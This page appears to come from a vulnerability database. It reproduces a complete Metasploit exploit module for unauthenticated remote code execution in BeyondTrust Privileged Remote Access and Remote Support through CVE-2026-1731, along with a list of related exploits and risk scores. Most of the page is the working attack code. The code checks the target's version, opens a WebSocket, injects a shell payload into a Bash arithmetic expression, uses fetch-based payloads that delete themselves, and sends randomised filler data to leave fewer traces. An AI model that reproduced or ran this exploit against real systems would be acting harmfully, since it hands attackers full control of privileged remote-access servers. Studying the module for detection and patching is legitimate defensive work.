Lucene search
K

📄 BeyondTrust PRA / RS Unauthenticated Remote Code Execution

🗓️ 25 Feb 2026 00:00:00Reported by Harsh Jaiswal, Jonah BurgessType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 224 Views

Exploits unauthenticated remote code execution on BeyondTrust PRA and RS via direct command injection or a PostgreSQL and argument injection chain.

Related
Code
ReporterTitlePublishedViews
Family
GithubExploit
Exploit for CVE-2026-1731
11 Feb 202609:18
githubexploit
GithubExploit
Exploit for OS Command Injection in Beyondtrust Privileged_Remote_Access
20 Feb 202622:31
githubexploit
GithubExploit
Exploit for CVE-2025-1094
14 Mar 202520:21
githubexploit
GithubExploit
Exploit for CVE-2026-1731
13 Feb 202619:48
githubexploit
GithubExploit
Exploit for CVE-2025-1094
27 Feb 202511:08
githubexploit
GithubExploit
Exploit for OS Command Injection in Beyondtrust Privileged_Remote_Access
18 Feb 202606:05
githubexploit
GithubExploit
Exploit for CVE-2025-1094
5 Mar 202504:20
githubexploit
GithubExploit
Exploit for CVE-2025-1094
19 Oct 202518:08
githubexploit
GithubExploit
Exploit for CVE-2025-1094
18 Jun 202515:18
githubexploit
GithubExploit
Exploit for OS Command Injection in Beyondtrust Privileged_Remote_Access
22 May 202620:44
githubexploit
Rows per page
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HTTP::Beyondtrust
      include Msf::Exploit::Remote::HttpClient
      include Rex::Proto::Http::WebSocket
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'BeyondTrust Privileged Remote Access (PRA) and Remote Support (RS) unauthenticated Remote Code Execution',
            'Description' => %q{
              This exploit achieves unauthenticated remote code execution against BeyondTrust Privileged Remote
              Access (PRA) and Remote Support (RS). It leverages three different vulnerabilities depending on the
              user-selected target.
    
              The default target leverages CVE-2026-1731, a direct command injection affecting RS versions 25.3.1
              and prior, and PRA versions 24.3.4 and prior.
    
              Alternatively, the module can leverage a chain of CVE-2025-1094 (SQL injection in PostgreSQL)
              and CVE-2024-12356 (argument injection), affecting RS and PRA versions 24.3.1 and prior.
    
              Exploitation occurs with the privileges of the site user of the targeted BeyondTrust product site.
            },
            'License' => MSF_LICENSE,
            'Author' => [
              'Harsh Jaiswal', # Discovery
              'Jonah Burgess (CryptoCat)' # Module
            ],
            'References' => [
              ['CVE', '2026-1731'], # Direct OS command injection in BeyondTrust
              ['URL', 'https://www.beyondtrust.com/trust-center/security-advisories/bt26-02'], # Vendor advisory for CVE-2026-1731
              ['URL', 'https://attackerkb.com/topics/jNMBccstay/cve-2026-1731/rapid7-analysis'] # Rapid7 Analysis (CVE-2026-1731)
            ],
            'DisclosureDate' => '2026-02-06',
            'Platform' => [ 'linux', 'unix' ],
            'Arch' => [ARCH_CMD],
            'Privileged' => false, # Executes as the site user.
            'Targets' => [
              [
                'Command Injection', {
                  'Payload' => {
                    'DisableNops' => true,
                    # We are injecting into a Bash arithmetic evaluation: a[$(command)]0.
                    # We must avoid characters that break the subshell or the arithmetic structure.
                    'BadChars' => '[$()]'
                  }
                }
              ],
            ],
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true,
              # A writable directory on the target for fetch based payloads to write to.
              'FETCH_WRITABLE_DIR' => '/var/tmp',
              # Delete the fetch binary after execution.
              'FETCH_DELETE' => true,
              # By default, a deployed site, like Remote Support, is expected to be located at the root path.
              'URIPATH' => '/'
            },
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
    
        register_advanced_options(
          [
            OptString.new('TargetCompanyName', [false, 'If set, use this name value to identify the company name of the deployed site. By default, this is auto discovered.']),
            OptString.new('TargetServerFQDN', [false, 'If set, use this FQDN value to identify the FQDN of the deployed site. By default, this is auto discovered.'])
          ]
        )
      end
    
      def check
        version = get_version
        return CheckCode::Unknown('Failed to determine BeyondTrust version') if version.nil?
    
        version = Rex::Version.new(version)
        return CheckCode::Appears("Detected vulnerable version of BeyondTrust #{version}") if version <= Rex::Version.new('25.3.1')
    
        CheckCode::Safe("BeyondTrust version #{version} is not vulnerable")
      end
    
      def exploit
        # For the deployed site being targeted (either Privileged Remote Access or Remote Support), we need to know either
        # the company name the site is registered to, or the FQDN of the deployed site. This is required to successfully
        # establish a WebSocket connection to the target site application. By default, we query the target site to
        # discover this, however a user can manually set either the expected company name or FQDN as a module option.
        site_info = get_site_info
    
        if site_info.nil?
          fail_with(Failure::UnexpectedReply, 'Failed to get the site info.')
        end
    
        vprint_status("Company name: #{site_info[:company]}")
        vprint_status("Site FQDN: #{site_info[:server]}")
    
        headers = {
          # This is the vulnerable application which is reachable over a WebSocket to the target site.
          'Sec-WebSocket-Protocol' => 'ingredi support desk customer thin'
        }
    
        if !site_info[:company].blank?
          print_status("Using company name: #{site_info[:company]}")
    
          headers['X-Ns-Company'] = site_info[:company]
        elsif !site_info[:server].blank?
          print_status("Using site FQDN: #{site_info[:server]}")
    
          headers['Host'] = site_info[:server]
        else
          fail_with(Failure::BadConfig, 'No company name or site FQDN set. Either set the TargetCompanyName or TargetServerFQDN option to a valid value, or clear them both to auto discover these values at run time.')
        end
    
        wsock = connect_ws(
          'method' => 'GET',
          'uri' => normalize_uri(target_uri.path, 'nw'),
          'headers' => headers
        )
    
        prefix = Rex::Text.rand_text_alpha(rand(1..5))
        suffix = rand(0..5)
    
        wsock.put_wstext("#{prefix}[$(#{payload.encoded})]#{suffix}\n")
    
        # Complete the sequence with randomized dummy data to avoid static artifacts
        wsock.put_wstext("#{SecureRandom.uuid}\n")     # remoteCookie
        wsock.put_wstext("#{rand(0..2)}\n")            # remoteAuthType (usually 0, 1, or 2)
        wsock.put_wstext("#{Rex::Text.rand_text_alpha(rand(4..8))}\n") # remoteGsKey
    
        while wsock.has_read_data? datastore['WFSDELAY']
          frame = wsock.get_wsframe
    
          break if frame.nil?
    
          if frame.header.opcode == Rex::Proto::Http::WebSocket::Opcode::CONNECTION_CLOSE
            print_warning('WebSocket closed unexpectedly! This may indicate that a patch has been applied, and the target is no longer vulnerable.')
            break
          end
        end
        wsock.wsclose
      rescue Rex::Proto::Http::WebSocket::ConnectionError => e
        if e.http_response && !e.http_response.body.blank?
          if e.http_response.body == 'Invalid company or app name'
            print_error("#{e.http_response.body} - Set either the TargetCompanyName or TargetServerFQDN option to a valid value.")
          else
            print_error(e.http_response.body)
          end
        end
        fail_with(Failure::PayloadFailed, "WebSocket connection failed: #{e.message}")
      end
    
    end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

25 Feb 2026 00:00Current
6.5Medium risk
Vulners AI Score6.5
CVSS 3.19.8
CVSS 49.9
EPSS0.93857
SSVC
224